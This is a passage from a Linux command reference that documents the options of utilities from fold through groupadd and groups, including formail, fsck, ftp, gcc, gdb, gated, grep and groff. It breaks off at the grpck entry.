Count bytes, not columns (i.e., consider tabs, backspaces, and carriage returns to be one column).

-s, --spaces

Break at spaces only, if possible.

-w, --width width

Set the maximum line width to width. Default is 80.

formail

formail [options]

Filter standard input into mailbox format. If no sender is apparent, provide the sender foo@bar. By default, escape bogus From lines with >.

Options

+skip

Do not split first skip messages.

-total

Stop after splitting total messages.

-a headerfield

Append headerfield to header, unless it already exists. If headerfield is Message-ID or Resent-Message-ID with no contents, generate a unique message ID.

-b

Do not escape bogus From lines.

-c

When header fields are more than one line long, concatenate the lines.

-d

Do not assume that input must be in strict mailbox format.

-e

Allow messages to begin one immediately after the other; do not require empty space between them.

-f

Do not edit non-mailbox-format lines. By default, formail prepends From to such lines.

-i headerfield

Append headerfield whether or not it already exists. Rename each existing headerfield to Old-headerfield, unless they are empty.

-k

For use only with -r. Keep the body as well as the fields specified by -r.

-m minfields

Require at least minfields before recognizing the beginning of a new message. Default is 2.

-n

Allow simultaneous formail processes to run.

-p prefix

Escape lines with prefix instead of >.

-q

Do not display write errors, duplicate messages, and mismatched Content-Length fields. This is the default; use -q- to turn it off.

-r

Throw away all existing fields, retaining only X-Loop, and generate autoreply header instead. You can preserve particular fields with the -i option.

-s

Must be the last option; everything following it will be assumed to be its arguments. Divide input to separate mail messages, and pipe them to the program specified or concatenate them to standard output (by default).

-t

Assume sender's return address to be valid. (By default, formail favors machine-generated addresses.)

-u headerfield

Delete all but the first occurrence of headerfield.

-x headerfield

Display the contents of headerfield on a single line.

-z

When necessary, add a space between field names and contents. Remove ("zap") empty fields.

-A headerfield

Append headerfield whether or not it already exists.

-B

Assume that input is in BABYL rmail format.

-D maxlen idcache

Remember old message IDs (in idcache, which will grow no larger than approximately maxlen). When splitting, refuse to output duplicate messages. Otherwise, return true on discovering a duplicate. With -r, look at the sender's mail address instead of the message ID.

-I headerfield

Append headerfield whether or not it already exists. Remove existing fields.

-R oldfield newfield

Change all fields named oldfield to newfield.

-U headerfield

Delete all but the last occurrence of headerfield.

-Y

Format in traditional Berkeley style (i.e., ignore Content-Length fields).

-X headerfield

Display the field name and contents of headerfield on a single line.

free

free [options]

Display statistics about memory usage: total free, used, physical, swap, shared, and buffers used by the kernel.

Options

-b

Calculate memory in bytes.

-k

Default. Calculate memory in kilobytes.

-m

Calculate memory in megabytes.

-o

Do not display "buffer adjusted" line. The -o switch disables the display "-/+ buffers" line.

-s time

Check memory usage every time seconds.

-t

Display all totals on one line at the bottom of output.

-V

Display version information.

fsck

fsck [options] [filesystem] ...

System administration command. Call the filesystem checker for the appropriate system type, to check and repair filesystems. If a filesystem is consistent, the number of files, number of blocks used, and number of blocks free are reported. If a filesystem is inconsistent, fsck prompts before each correction is attempted. fsck's exit code can be interpreted as the sum of all of those conditions that apply:

1

Errors were found and corrected.

2

Reboot suggested.

4

Errors were found but not corrected.

8

fsck encountered an operational error.

16

fsck was called incorrectly.

128

A shared library error was detected.

Options

--

Pass all subsequent options to filesystem-specific checker. All options that fsck doesn't recognize will also be passed.

-r

Interactive mode; prompt before making any repairs.

-s

Serial mode.

-t fstype

Specify the filesystem type. Do not check filesystems of any other type.

-A

Check all filesystems listed in /etc/fstab.

-N

Suppress normal execution; just display what would be done.

-R

Meaningful only with -A: check all filesystems listed in /etc/fstab except the root filesystem.

-T

Suppress printing of title.

-V

Verbose mode.

fsck.minix

fsck.minix [options] device

System administration command. Similar to fsck, but specifically intended for Linux MINIX filesystems.

Options

-a

Automatic mode; repair without prompting.

-f

Force checking, even if kernel has already marked the filesystem. fsck.minix will normally exit without checking if the system appears to be clean.

-l

List filesystems.

-m

Enable MINIX-like "mode not cleared" warnings.

-r

Interactive mode; prompt before making any repairs.

-s

Display information about superblocks.

-v

Verbose mode.

ftp

ftp [options] [hostname]

Transfer files to and from remote network site hostname. ftp prompts the user for a command. The commands are listed after the options. Some of the commands are toggles, meaning they turn on a feature when it is off and vice versa.

Options

-d

Enable debugging.

-g

Disable filename globbing.

-i

Turn off interactive prompting.

-n

No autologin upon initial connection.

-v

Verbose. Show all responses from remote server.

Commands

![command [args]]

Invoke an interactive shell on the local machine. If arguments are given, the first is taken as a command to execute directly, with the rest of the arguments as that command's arguments.

$ macro-name [args]

Execute the macro macro-name that was defined with the macdef command. Arguments are passed to the macro unglobbed.

account [passwd]

Supply a supplemental password that will be required by a remote system for access to resources once a login has been successfully completed. If no argument is given, the user will be prompted for an account password in a nonechoing mode.

append local-file [remote-file]

Append a local file to a file on the remote machine. If remote-file is not given, the local filename is used after being altered by any ntrans or nmap setting. File transfer uses the current settings for type, format, mode, and structure.

ascii

Set the file transfer type to network ASCII (default).

bell

Sound a bell after each file transfer command is completed.

binary

Set file transfer type to support binary image transfer.

bye

Terminate FTP session and then exit ftp.

case

Toggle remote computer filename case mapping during mget. The default is off. When case is on, files on the remote machine with all-uppercase names will be copied to the local machine with all-lowercase names.

cd remote-directory

Change working directory on remote machine to remote-directory.

cdup

Change working directory of remote machine to its parent directory.

chmod [mode] [remote-file]

Change file permissions of remote-file. If options are omitted, the command prompts for them.

close

Terminate FTP session and return to command interpreter.

cr

Toggle carriage return stripping during ASCII-type file retrieval.

delete remote-file

Delete file remote-file on remote machine.

debug [debug-value]

Toggle debugging mode. If debug-value is specified, it is used to set the debugging level.

dir [remote-directory] [local-file]

Print a listing of the contents in the directory remote-directory, and, optionally, place the output in local-file. If no directory is specified, the current working directory on the remote machine is used. If no local file is specified or - is given instead of the filename, output comes to the terminal.

disconnect

Synonym for close.

form format

Set the file transfer form to format. Default format is file.

get remote-file [local-file]

Retrieve the remote-file and store it on the local machine. If the local filename is not specified, it is given the same name it has on the remote machine, subject to alteration by the current case, ntrans, and nmap settings. If local file is -, output comes to the terminal.

glob

Toggle filename expansion for mdelete, mget, and mput. If globbing is turned off, the filename arguments are taken literally and not expanded.

hash

Toggle hash-sign (#) printing for each data block transferred.

help [command]

Print help information for command. With no argument, ftp prints a list of commands.

idle [seconds]

Get/set idle timer on remote machine. seconds specifies the length of the idle timer; if omitted, the current idle timer is displayed.

image

Same as binary.

lcd [directory]

Change working directory on local machine. If directory is not specified, the user's home directory is used.

ls [remote-directory] [local-file]

Print listing of contents of directory on remote machine, in a format chosen by the remote machine. If remote-directory is not specified, current working directory is used.

macdef macro-name

Define a macro. Subsequent lines are stored as the macro macro-name; a null line terminates macro input mode. When $i is included in the macro, loop through arguments, substituting the current argument for $i on each pass. Escape $ with \.

mdelete remote-files

Delete the remote-files on the remote machine.

mdir remote-files local-file

Like dir, except multiple remote files may be specified.

mget remote-files

Expand the wildcard expression remote-files on the remote machine and do a get for each filename thus produced.

mkdir directory-name

Make a directory on the remote machine.

mls remote-files local-file

Like nlist, except multiple remote files may be specified, and the local file must be specified.

mode [mode-name]

Set file transfer mode to mode-name. Default mode is stream mode.

modtime [file-name]

Show last modification time of the file on the remote machine.

mput [local-files]

Expand wildcards in local-files given as arguments and do a put for each file in the resulting list.

newer remote-file [local-file]

Get file if remote file is newer than local file.

nlist [remote-directory] [local-file]

Print list of files of a directory on the remote machine to local-file (or the screen if local-file is not specified). If remote-directory is unspecified, the current working directory is used.

nmap [inpattern outpattern]

Set or unset the filename mapping mechanism. The mapping follows the pattern set by inpattern, a template for incoming filenames, and outpattern, which determines the resulting mapped filename. The sequences $1 through $9 are treated as variables, for example, the inpattern $1.$2, along with the input file readme.txt, would set $1 to readme and $2 to txt. An outpattern of $1.data would result in an output file of readme.data. $0 corresponds to the complete filename. [string1, string2] is replaced by string1, unless that string is null, in which case it's replaced by string2.

ntrans [inchars [outchars ]]

Set or unset the filename character translation mechanism. Characters in a filename matching a character in inchars are replaced with the corresponding character in outchars. If no arguments are specified, the filename mapping mechanism is unset. If arguments are specified:

  • Characters in remote filenames are translated during mput and put commands issued without a specified remote target filename.

  • Characters in local filenames are translated during mget and get commands issued without a specified local target filename.

open host [port]

Establish a connection to the specified host FTP server. An optional port number may be supplied, in which case ftp will attempt to contact an FTP server at that port.

prompt

Toggle interactive prompting.

proxy ftp-command

Execute an FTP command on a secondary control connection (i.e., send commands to two separate remote hosts simultaneously).

put local-file [remote-file]

Store a local file on the remote machine. If remote-file is left unspecified, the local filename is used after processing according to any ntrans or nmap settings in naming the remote file. File transfer uses the current settings for type, file, structure, and transfer mode.

pwd

Print name of the current working directory on the remote machine.

quit

Synonym for bye.

quote arg1 arg2...

Send the arguments specified, verbatim, to the remote FTP server.

recv remote-file [local-file]

Synonym for get.

reget remote-file [local-file]

Retrieve a file (like get), but restart at the end of local-file. Useful for restarting a dropped transfer.

remotehelp [command-name]

Request help from the remote FTP server. If command-name is specified, remote help for that command is returned.

remotestatus [filename]

Show status of the remote machine, or, if filename is specified, filename on remote machine.

rename [from] [to]

Rename file from on remote machine to to.

reset

Clear reply queue.

restart marker

Restart the transfer of a file from a particular byte count.

rmdir [directory-name]

Delete a directory on the remote machine.

runique

Toggle storing of files on the local system with unique filenames. When this option is on, rename files as .1 or .2, and soon, as appropriate, to preserve unique filenames, and report each such action. Default value is off.

send local-file [remote-file]

Synonym for put.

sendport

Toggle the use of PORT commands.

site [command]

Get/set site-specific information from/on remote machine.

size filename

Return size of filename on remote machine.

status

Show current status of ftp.

struct [struct-name]

Set the file transfer structure to struct-name. By default, stream structure is used.

sunique

Toggle storing of files on remote machine under unique filenames.

system

Show type of operating system running on remote machine.

tenex

Set file transfer type to that needed to talk to TENEX machines.

trace

Toggle packet tracing.

type [type-name]

Set file transfer type to type-name. If no type is specified, the current type is printed. The default type is network ASCII.

umask [mask]

Set user file-creation mode mask on the remote site. If mask is omitted, the current value of the mask is printed.

user username [password] [account]

Identify yourself to the remote FTP server. ftp will prompt the user for the password, if not specified and the server requires it, and the account field.

verbose

Toggle verbose mode.

? [command]

Same as help.

ftpd

in.ftpd [options]

TCP/IP command. Internet File Transfer Protocol server. The server uses the TCP protocol and listens at the port specified in the ftp service specification. ftpd is started by inetd and must have an entry in inetd's configuration file, /etc/inetd.conf.

Options

-d

Write debugging information to the syslog.

-l

Log each FTP session in the syslog.

-T maxtimeout

Set maximum timeout period in seconds. Default limit is 15 minutes.

-t timeout

Set timeout period to timeout seconds.

fuser

fuser [options] [files | filesystems]

Identify processes that are using a file or filesystem. fuser outputs the process IDs of the processes that are using the files or local filesystems. Each process ID is followed by a letter code: c if process is using file as current directory, e if executable, f if an open file, m if a shared library, and r if the root directory. Any user with permission to read /dev/kmem and /dev/mem can use fuser, but only a privileged user can terminate another user's process. fuser does not work on remote (NFS) files.

If more than one group of files is specified, the options may be respecified for each additional group of files. A lone dash (-) cancels the options currently in force, and the new set of options applies to the next group of files.

Options

-

Return all options to defaults.

-signal

Send signal instead of SIGKILL.

-a

Display information on all specified files, even if they are not being accessed by any processes.

-i

Request user confirmation to kill a process. Ignored if -k is not also specified.

-k

Send SIGKILL signal to each process.

-l

List signal names.

-m

Expect files to exist on a mounted filesystem; include all files accessing that filesystem.

-s

Silent.

-u

User login name, in parentheses, also follows process ID.

-v

Verbose.

-V

Display version information.

g++

g++ [options] files

Invoke gcc with the options necessary to make it recognize C++. g++ recognizes all the file extensions gcc does, in addition to C++ source files (.C, .cc, or .cxx files) and C++ preprocessed files (.ii files). See also gcc.

gated

gated [options]

TCP/IP command. Gateway routing daemon. gated handles multiple routing protocols and replaces routed and any routing daemons that speak the Hello, EGP, or BGP routing protocols. gated currently handles the RIP, BGP, EGP, Hello, and OSPF routing protocols and can be configured to perform all or any combination of the five.

Options

-c

Parse configuration file for syntax errors, then exit gated, leaving a dump file in /usr/tmp/gated_dump.

-f config_file

Use alternate configuration file, config_file. Default is /etc/gated.conf.

-n

Do not modify kernel's routing table.

-t [trace_options]

Start gated with the specified tracing options enabled. If no flags are specified, assume general. The trace flags are:

adv

Management of policy blocks.

all

Includes normal, policy, route, state, task, and timer.

general

Includes normal and route.

iflist

The kernel interface list.

normal

Normal protocols instances.

parse

Lexical analyzer and parser.

policy

Instances in which policy is applied to imported and exported routes.

route

Any changes to routing table.

state

State machine transitions.

symbols

Symbols read from kernel -- note that they are read before the configuration file is parsed, so this option must be specified on the command line.

task

System tasks and interfaces.

timer

Timer usage.

-C

Parse configuration file for errors and set exit code to indicate if there were any (1) or not (0), then exit.

-N

Do not daemonize.

gawk

gawk [options] `script' [var=value...] [files]

gawk [options] -f scriptfile [var=value...] [files]

The GNU version of awk, a program that does pattern matching, record processing, and other forms of text manipulation. For more information, see Chapter 13, "The gawk Scripting Language".

gcc

gcc [options] files

Compile one or more C source files (file.c), assembler source files (file.s), or preprocessed C source files (file.i). If the file suffix is not recognizable, assume that the file is an object file or library. gcc automatically invokes the link editor ld (unless -c, -S, or -E is supplied). In some cases, gcc generates an object file having a .o suffix and a corresponding root name. By default, output is placed in a.out. gcc accepts many system-specific options not covered here.

Note: gcc is the GNU form of cc; on most Linux systems, the command cc will invoke gcc. The command g++ will invoke gcc with the appropriate options for interpreting C++.

Options

-a

Provide profile information for basic blocks.

-ansi

Enforce full ANSI conformance.

-b machine

Compile for use on machine type.

-c

Create linkable object file for each source file, but do not call linker.

-dD

Print #defines.

-dM

Suppress normal output. Print series of #defines that are in effect at the end of preprocessing.

-dN

Print #defines with macro names only, not arguments or values.

-fno-asm

Do not recognize asm, inline, or typeof as keywords. Implied by -ansi.

-fno-builtin

Do not recognize built-in functions unless they begin with two underscores.

-fno-gnu-keywords

Do not recognize classof, headof, signature, sigof, or typeof as keywords.

-fno-ident

Do not respond to #ident commands.

-fsigned-bitfields
-funsigned-bitfields
-fno-signed-bitfields
-fno-unsigned-bitfields

Set default control of bitfields to signed or unsigned if not explicitly declared.

-fsigned-char

Cause the type char to be signed.

-fsyntax-only

Check for syntax errors. Do not attempt to actually compile.

-funsigned-char

Cause the type char to be unsigned.

-g

Include debugging information for use with gdb.

-g level

Provide level amount of debugging information. level must be 1, 2, or 3, with 1 providing the least amount of information. The default is 2.

-idirafter dir

Include dir in the list of directories to search when an include file is not found in the normal include path.

-include file

Process file before proceeding to the normal input file.

-imacros file

Process the macros in file before proceeding to the normal input file.

-iprefix prefix

When adding directories with -iwithprefix, prepend prefix to the directory's name.

-isystem dir

Add dir to the list of directories to be searched when a system file cannot be found in the main include path.

-iwithprefix dir

Append dir to the list of directories to be searched when a header file cannot be found in the main include path. If -iprefix has been set, prepend that prefix to the directory's name.

-l lib

Link to lib.

-nostartfiles

Force linker to ignore standard system startup files.

-nostdinc

Search only specified, not standard, directories for header files.

-nostdinc++

Suppress searching of directories believed to contain C++-specific header files.

-nostdlib

Suppress linking to standard library files.

-o file

Specify output file as file. Default is a.out.

-p

Provide profile information for use with prof.

-pedantic

Warn verbosely.

-pedantic-errors

Err in every case in which -pedantic would have produced a warning.

-pg

Provide profile information for use with gprof.

-pipe

Transfer information between stages of compiler by pipes instead of temporary files.

-s

Remove all symbol table and relocation information from the executable.

-save-temps

Save temporary files in the current directory when compiling.

-static

Suppress linking to shared libraries.

-traditional

Attempt to behave like a traditional C compiler.

-traditional-cpp

Cause the preprocessor to attempt to behave like a traditional C preprocessor.

-trigraphs

Include trigraph support.

-u symbol

Force the linker to search libraries for a definition of symbol and to link to them, if found.

-undef

Define only those constants required by the language standard, not system-specific constants like unix.

-v

Verbose mode. Display commands as they are executed, gcc version number, and preprocessor version number.

-w

Suppress warnings.

-x language

Expect input file to be written in language, which may be c, objective-c, c-header, c++, cpp-output, assembler, or assembler-with-cpp. If none is specified as language, guess the language by filename extension.

-A question(answer)

If the preprocessor encounters a conditional such as #if question, assert answer in response. To turn off standard assertions, use -A-.

-B path

Specify the path directory in which the compiler files are located.

-C

Retain comments during preprocessing. Meaningful only with -E.

-D name[=def]

Define name with value def as if by a #define. If no =def is given, name is defined with value 1. -D has lower precedence than -U.

-E

Preprocess the source files, but do not compile. Print result to standard output.

-I dir

Include dir in list of directories to search for include files. If dir is -, search those directories that were specified by -I before the -I- only when #include "file" is specified, not #include <file>.

-L dir

Search dir in addition to standard directories.

-M

Instead of compiling, print a rule suitable for inclusion in a makefile that describes dependencies of the source file based on its #include directives. Implies -E.

-MD

Similar to -M, but sends dependency information to files ending in .d in addition to ordinary compilation.

-MG

Used with -M or -MM. Suppress error messages if an included file does not exist; useful if the included file is automatically generated by a build.

-MMD

Similar to -MD, but record only user header file information, not system header file information.

-MM

Similar to -M, but limit the rule to non-standard
#include files; that is, only files declared through
#include "file" and not those declared through
#include <file>.

-H

Print pathnames of included files, one per line, on standard error.

-O[level]

Optimize. level should be 1, 2, 3, or 0. The default is 1. 0 turns off optimization; 3 optimizes the most.

-P

Preprocess input without producing line-control information used by next pass of C compiler. Meaningful only with -E.

-S

Compile source files into assembler code, but do not assemble.

-U name

Remove any initial definition of name, where name is a reserved symbol predefined by the preprocessor or a name defined on a -D option. Names predefined by cpp are unix and i386.

-V version

Attempt to run gcc version version.

-W

Warn more verbosely than normal.

-Wl,option

Invoke linker with option, which may be a comma-separated list.

-Wa,option

Call assembler with option, which may be a comma-separated list.

-Waggregate-return

Warn if any functions return structures or unions are defined or called.

-Wall

Enable -W, -Wchar-subscripts, -Wcomment, -Wformat, -Wimplicit, -Wparentheses, -Wreturn-type, -Wswitch, -Wtemplate-debugging, -Wtrigraphs, -Wuninitialized, and -Wunused.

-Wcast-align

Warn when encountering instances in which pointers are cast to types that increase the required alignment of the target from its original definition.

-Wcast-qual

Warn when encountering instances in which pointers are cast to types that lack the type qualifier with which the pointer was originally defined.

-Wchar-subscripts

Warn when encountering arrays with subscripts of type char.

-Wcomment

Warn when encountering the beginning of a nested comment.

-Wconversion

Warn in particular cases of type conversions.

-Werror

Exit at the first error.

-Wformat

Warn about inappropriately formatted printfs and scanfs.

-Wimplicit

Warn when encountering implicit function or parameter declarations.

-Winline

Warn about illegal inline functions.

-Wmissing-declarations

Warn if a global function is defined without a previous declaration.

-Wmissing-prototypes

Warn when encountering global function definitions without previous prototype declarations.

-Wnested-externs

Warn if an extern declaration is encountered within a function.

-Wno-import

Don't warn about use of #import.

-Wp,options

Pass options to the preprocessor. Multiple options are separated by commas. Not a warning parameter.

-Wparentheses

Enable more verbose warnings about omitted parentheses.

-Wpointer-arith

Warn when encountering code that attempts to determine the size of a function or void.

-Wredundant-decls

Warn if anything is declared more than once in the same scope.

-Wreturn-type

Warn about functions defined without return types or with improper return types.

-Wshadow

Warn when a local variable shadows another local variable.

-Wstrict-prototypes

Insist that argument types be specified in function declarations and definitions.

-Wswitch

Warn about switches that skip the index for one of their enumerated types.

-Wtemplate-debugging

Warn if debugging is not available for C++ templates.

-Wtraditional

Warn when encountering code that produces different results in ANSI C and traditional C.

-Wtrigraphs

Warn when encountering trigraphs.

-Wuninitialized

Warn when encountering uninitialized automatic variables.

-Wunused

Warn about unused variables and functions.

-Xlinker option

Pass an option to the linker. A linker option with an argument requires two -Xs, the first specifying the option and the second specifying the argument.

Pragma directives

#pragma interface [header-file]

Used in header files to force object files to provide definition information via references, instead of including it locally in each file. C++-specific.

#pragma implementation [header-file]

Used in main input files to force generation of full output from header-file (or, if it is not specified, from the header file with the same base name as the file containing the pragma directive). This information will be globally visible. Normally the specified header file contains a #pragma interface directive.

gdb

gdb [options] [program [core|pid]]

GDB (GNU DeBugger) allows you to step through C, C++, and Modula-2 programs in order to find the point at which they break. The program to be debugged is normally specified on the command line; you can also specify a core or, if you want to investigate a running program, a process ID.

Options

-s file, -symbols=file

Consult file for symbol table. With -e, also uses file as the executable.

-e file, -exec=file

Use file as executable, to be read in conjunction with source code. May be used in conjunction with -s to read symbol table from the executable.

-c file, -core=file

Consult file for information provided by a core dump.

-x file, -command=file

Read gdb commands from file.

-d directory, -directory=directory

Include directory in path that is searched for source files.

-n, -nx

Ignore .gdbinit file.

-q, -quiet

Suppress introductory and copyright messages.

-batch

Exit after executing all the commands specified in .gdbinit and -x files. Print no startup messages.

-cd=directory

Use directory as gdb's working directory.

-f, -fullname

Show full filename and line number for each stack frame.

-b bps

Set line speed of serial device used by GDB to bps.

-tty=device

Set standard in and standard out to device.

Common commands

These are just some of the more common gdb commands; there are too many commands to list all of them here:

bt

Print the current location within the program and a stack trace showing how the current location was reached. (where does the same thing.)

break

Set a breakpoint in the program.

cd

Change the current working directory.

clear

Delete the breakpoint where you just stopped.

commands

List commands to be executed when breakpoint is hit.

c

Continue execution from a breakpoint.

delete

Delete a breakpoint or a watchpoint; also used in conjunction with other commands.

display

Cause variables or expressions to be displayed when program stops.

down

Move down one stack frame to make another function the current one.

frame

Select a frame for the next continue command.

info

Show a variety of information about the program. For instance, info breakpoints shows all outstanding breakpoints and watchpoints.

jump

Start execution at another point in the source file.

kill

Abort the process running under gdb's control.

list

List the contents of the source file corresponding to the program being executed.

next

Execute the next source line, executing a function in its entirety.

print

Print the value of a variable or expression.

pwd

Show the current working directory.

ptype

Show the contents of a datatype, such as a structure or C++ class.

quit

Exit gdb.

reverse-search

Search backward for a regular expression in the source file.

run

Execute the program.

search

Search for a regular expression in the source file.

set variable

Assign a value to a variable.

signal

Send a signal to the running process.

step

Execute the next source line, stepping into a function if necessary.

undisplay

Reverse the effect of the display command; keep expressions from being displayed.

until

Finish the current loop.

up

Move up one stack frame to make another function the current one.

watch

Set a watchpoint (i.e., a data breakpoint) in the program.

whatis

Print the type of a variable or function.

gdc

gdc [options] command

TCP/IP command. Administer gated. Various commands start and stop the daemon, send signals to it, maintain the configuration files, and manage state and core dumps.

Options

-c size

Specify maximum core dump size.

-f size

Specify maximum file dump size.

-m size

Specify maximum data segment size.

-n

Suppress editing of the kernel forwarding table.

-q

Quiet mode: suppress warnings and log errors to syslogd instead of standard error.

-s size

Specify maximum stack size.

-t seconds

Wait seconds seconds (default is 10) for gated to complete specified operations at start and stop time.

Commands

BACKOUT

Restore /etc/gated.conf from /etc/gated.conf-, whether or not the latter exists.

backout

Restore /etc/gated.conf from /etc/gated.conf-, assuming the latter exists.

checkconf

Report any syntax errors in /etc/gated.conf.

checknew

Report any syntax errors in /etc/gated.conf+.

COREDUMP

Force gated to core dump and exit.

createconf

Create an empty /etc/gated.conf+ if one does not already exist, and set it to mode 664, owner root, group gdmaint.

dump

Force gated to dump to /usr/tmp/gated_dump and then continue normal operation.

interface

Reload interface configuration.

KILL

Terminate immediately (ungracefully).

modeconf

Set all configuration files to mode 664, owner root, group gdmaint.

newconf

Make sure that /etc/gated.conf+ exists and move it to /etc/gated.conf. Save the old /etc/gated.conf as /etc/gated.conf-.

reconfig

Reload configuration file.

restart

Stop and restart gated.

rmcore

Remove any gated core files.

rmdmp

Remove any gated state dump files.

rmparse

Remove any gated files that report on parse errors. These are generated by the checkconf and checknew commands.

running

Exit with zero status if gated is running and nonzero if it is not.

start

Start gated, unless it is already running, in which case return an error.

stop

Stop gated as gracefully as possible.

term

Terminate gracefully.

toggletrace

Toggle tracing.

Files

/etc/gcd.conf+

The test configuration file. Once you're satisfied that it works, you should run gated newconf to install it as /etc/gated.conf.

/etc/gated.conf-

A backup of the old configuration file.

/etc/gated.conf--

A backup of the backup of the old configuration file.

/etc/gated.conf

The actual configuration file.

/etc/gated.pid

gated's process ID.

/usr/tmp/gated_dump

The state dump file.

/usr/tmp/gated_parse

A list of the parse errors generated by reading the configuration file.

getkeycodes

getkeycodes

Print the kernel's scancode-to-keycode mapping table.

getty

getty [options] port [speed [term [lined]]]

System administration command. Set terminal type, modes, speed, and line discipline. Linux systems may use agetty instead, which uses a different syntax. getty is invoked by init. It is the second process in the series init-getty-login-shell, which ultimately connects a user with the Linux system. getty reads the user's login name and invokes the login command with the user's name as an argument. While reading the name, getty attempts to adapt the system to the speed and type of device being used.

You must specify a port argument, which getty will use to attach itself to the device /dev/port. getty will then scan the defaults file, usually /etc/default/getty, for runtime values and parameters. These may also be specified, for the most part, on the command line, but the values in the defaults file take precedence. The speed argument is used to point to an entry in the file /etc/gettydefs, which contains the initial baud rate, tty settings, and login prompt and final speed and settings for the connection. The first entry is the default in /etc/gettydefs. term specifies the type of terminal, with lined the optional line discipline to use.

Options

-c file

Check the gettydefs file. file is the name of the gettydefs file. Produces the files' values and reports parsing errors to standard output.

-d file

Use a different default file.

-h

Do not force a hangup on the port when initializing.

-r delay

Wait for single character from port, then wait delay seconds before proceeding.

-t timeout

If no username is accepted within timeout seconds, close connection.

-w string

Wait for string characters from port before proceeding.

gprof

gprof [options] [object_file]

Display the profile data for an object file. The file's symbol table is compared with the call graph profile file gmon.out (previously created by compiling with gcc -pg).

Options

-a

Do not display statically declared functions. Since their information might still be relevant, append it to the information about the functions loaded immediately before.

-b

Do not display information about each field in the profile.

-c

Consult the object file's text area to attempt to determine the program's static call graph. Display static-only parents and children with call counts of 0.

-e routine

Do not display entries for routine and its descendants.

-f routine

Print only routine, but include time spent in all routines.

-k from to

Remove arcs between the routines from and to.

-s

Summarize profile information in the file gmon.sum.

-v

Print version and exit.

-z

Include zero-usage calls.

-E routine

Do not display entries for routine and its descendants or include time spent on them in calculations for total time.

-F routine

Print only information about routine. Do not include time spent in other routines.

grep

grep [options] pattern [files]

Search one or more files for lines that match a regular expression pattern. Regular expressions are described in Chapter 9, "Pattern Matching". Exit status is 0 if any lines match, 1 if none match, and 2 for errors. See also egrep and fgrep.

Options

-a, --text

Don't suppress output lines with binary data; treat as text.

-b, --byte-offset

Print the byte offset within the input file before each line of output.

-b, --byte-offset

Print the byte offset within the input file before each line of output.

-c, --count

Print only a count of matched lines. With -v or --revert-match option, count nonmatching lines.

-d action, --directories=action

Define an action for processing directories. Possible actions are:

read

Read directories like ordinary files (default).

skip

Skip directories.

recurse

Recursively read all files under each directory. Same as -r.

-e pattern, --regexp=pattern

Search for pattern. Same as specifying a pattern as an argument, but useful in protecting patterns beginning with -.

-f file, --file=file

Take a list of patterns from file, one per line.

-h, --no-filename

Print matched lines but not filenames (inverse of -l).

-i, --ignore-case

Ignore uppercase and lowercase distinctions.

-l, --files-with-matches

List the names of files with matches but not individual matched lines; scanning per file stops on the first match.

-n, --line-number

Print lines and their line numbers.

-q, --quiet, --silent

Suppress normal output in favor of quiet mode; the scanning stops on the first match.

-r, --recursive

Recursively read all files under each directory. Same as -d recurse.

-s, --no-messages

Suppress error messages about nonexistent or unreadable files.

-v, --revert-match

Print all lines that don't match pattern.

-w, --word-regexp

Match on whole words only. Words are divided by characters that are not letters, digits, or underscores.

-x, --line-regexp

Print lines only if pattern matches the entire line.

-A num, --after-context=num

Print num lines of text that occur after the matching line.

-B num, --before-context=num

Print num lines of text that occur before the matching line.

-C[num], --context=[num], -num

Print num lines of leading and trailing context. Default context is 2 lines.

-L, --files-without-match

List files that contain no matching lines.

-V, --version

Print the version number and then exit.

Examples

List the number of users who use tcsh:

grep -c /bin/tcsh /etc/passwd

List header files that have at least one #include directive:

grep -l '^#include' /usr/include/*

List files that don't contain pattern:

grep -c pattern files | grep :0
groff

groff [options] [files]

troff [options] [files]

Frontend to the groff document-formatting system, which normally runs troff along with a postprocessor appropriate for the selected output device. Options without arguments can be grouped after a single dash (-). A filename of - denotes standard input.

Options

-a

Generate an ASCII approximation of the typeset output.

-b

Print a backtrace.

-C

Enable compatibility mode.

-d cs, -d name=s

Define the character c or string name to be the string s.

-e

Preprocess with eqn.

-E

Don't print any error messages.

-f fam

Use fam as the default font family.

-F dir

Search dir for subdirectories with DESC and font files before the default /usr/lib/groff/font.

-h

Print a help message.

-i

Read standard input after all files have been processed.

-l

Send the output to a printer (as specified by the print command in the device description file).

-L arg

Pass arg to the spooler. Each argument should be passed with a separate -L option.

-m name

Read the macro file tmac.name.

-M dir

Search directory dir for macro files before the default directory /usr/lib/groff/tmac.

-n num

Set the first page number to num.

-N

Don't allow newlines with eqn delimiters; equivalent to eqn's -N option.

-o list

Output only pages specified in list, which is a comma-separated list of page ranges.

-p

Preprocess with pic.

-P arg

Pass arg to the postprocessor. Each argument should be passed with a separate -P option.

-r cn, -name=n

Set the number register c or name to n. c is a single character and n is any troff numeric expression.

-R

Preprocess with refer.

-s

Preprocess with soelim.

-S

Use safer mode (i.e., pass the -S option to pic and use the -msafer macros with troff).

-t

Preprocess with tbl.

-T dev

Prepare output for device dev; the default is ps.

-v

Make programs run by groff print out their version number.

-V

Print the pipeline on stdout instead of executing it.

-w name

Enable warning name. You can specify multiple -w options. See the troff manpage for a list of warnings.

-W name

Disable warning name. You can specify multiple -W options. See the troff manpage for a list of warnings.

-z

Suppress troff output (except error messages).

-Z

Do not postprocess troff output. Normally groff automatically runs the appropriate postprocessor.

Devices

ascii

Typewriter-like device

dvi

TeX dvi format

latin1

Typewriter-like devices using the ISO Latin-1 character set

ps

PostScript

X75

75-dpi X11 previewer

X100

100-dpi X11 previewer

lj4

HP LaserJet4-compatible (or other PCL5-compatible) printer

Environment variables

GROFF_COMMAND_PREFIX

If set to be X, groff will run Xtroff instead of troff.

GROFF_FONT_PATH

Colon-separated list of directories in which to search for the devname directory.

GROFF_TMAC_PATH

Colon-separated list of directories in which to search for the macro files.

GROFF_TMPDIR

If set, temporary files will be created in this directory; otherwise, they will be created in TMPDIR (if set) or /tmp (if TMPDIR is not set).

GROFF_TYPESETTER

Default device.

PATH

Search path for commands that groff executes.

groupadd

groupadd [options] group

System administration command. Create new group account group.

Options

-g gid

Assign numerical group ID. (By default, the first available number above 500 is used.) The value must be unique unless the -o option is used.

-o

Accept a nonunique gid with the -g option.

groupdel

groupdel group

System administration command. Remove group from system account files. You may still need to find and change permissions on files that belong to the removed group.

groupmod

groupmod [options] group

System administration command. Modify group information for group.

Options

-g gid

Change the numerical value of the group ID. Any files that have the old gid will have to be changed manually. The new gid must be unique unless the -o option is used.

-n name

Change the group name to name.

-o

Override. Accept a nonunique gid.

groups

groups [options] [users]

Show the groups that each user belongs to (default user is the owner of the current group). Groups are listed in /etc/passwd and /etc/group.

Options

--help

Print help message.

--version

Print version information.

grpck

grpck [option] [files]

